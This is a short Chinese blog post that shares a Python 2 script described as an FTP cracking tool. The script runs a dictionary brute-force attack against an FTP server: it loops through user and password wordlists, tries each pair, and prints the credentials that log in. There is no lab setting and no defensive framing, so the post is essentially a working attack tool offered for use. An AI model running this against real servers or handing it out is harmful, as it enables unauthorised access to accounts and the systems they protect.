python - ftp crack
写一个ftp破解下gongju#!/usr/bin/env pythonimport sysimport timeimport ftplib# ================== crack ftp server quickly ==========================def fast_ftpcrack(ftpobj, user, passwd):
·
写一个ftp破解下工具,可能有不少bug,请自行修改.
#!/usr/bin/env python
import sys
import time
import ftplib
# ================== crack ftp server quickly ==========================
def fast_ftpcrack(ftpobj, user, passwd):
#'530' ---- 530 Login incorrect
#'230' ---- 230 Login successful
try:
ftp_ret = ftpobj.login(user, passwd)
if '230' in ftp_ret:
print >>sys.stderr, "%s:%s -- [%s] ****** " % (repr(user),repr(passwd), ftp_ret)
return True,(user, passwd),'success'
except ftplib.error_perm as err:
print >>sys.stderr, "%s:%s -- [%s] " % (repr(user),repr(passwd), err)
return True,(user, passwd),'falied'
#continue
except EOFError as err:
print >>sys.stderr, "%s:%s -- ftp connection is closed" % (repr(user),repr(passwd))
return False,(user, passwd),'closed'
except ftplib.error_temp as err:
print >>sys.stderr, "%s:%s -- [%s] " % (repr(user),repr(passwd), err)
return True,(user, passwd),'falied'
def fast_brute(host,ftpuserlist,ftppasslist):
# get a FTP Instance for crack(not all the time)
#print >>sys.stderr, " fast crack..............."
ftp_ = ftplib.FTP(host)
closed_n = 1
for ftpuser in ftpuserlist:
ftpuser = ftpuser.strip()
for ftppass in ftppasslist:
ftppass = ftppass.strip()
while True:
ret,user_pass,status = fast_ftpcrack(ftp_, ftpuser, ftppass)
if ret == False:
closed_n += 1
print 'ftp is closed, retry: %s ' % closed_n
ftp_ = ftplib.FTP(host)
elif ret == True:
break
# ==================== crack ftp server slowly =========================
def slow_brute(host, userlist, passwdlist):
for user in userlist:
user = user.strip()
for passwd in passwdlist:
passwd = passwd.strip()
try:
ftp_ = ftplib.FTP(host)
ftp_ret = ftp_.login(user, passwd)
if '230' in ftp_ret:
print >>sys.stderr, "%s:%s -- [%s] ****** " % (repr(user),repr(passwd), ftp_ret)
#return True,(user, passwd),'success'
except ftplib.error_perm as err:
print >>sys.stderr, "%s:%s -- [%s] " % (repr(user),repr(passwd), err)
pass
#return True,(user, passwd),'falied'
def main():
ftp_srv = raw_input('ftp server: ')
ftp_ul = raw_input('ftp user wordlist: ')
ftp_pl = raw_input("ftp pass wordlist: ")
starttime = time.time()
#userlist = ['f123']
userlist = open(ftp_ul,'r').readlines()
passlist = open(ftp_pl,'r').readlines()
fast_brute(ftp_srv, userlist, passlist)
#slow_brute(ftp_srv, userlist, passlist)
endtime = time.time()
time_ = endtime - starttime
print '%s - %s = [%s] is gone' % (starttime, endtime, time_)
if __name__=='__main__':
main()
更多推荐
所有评论(0)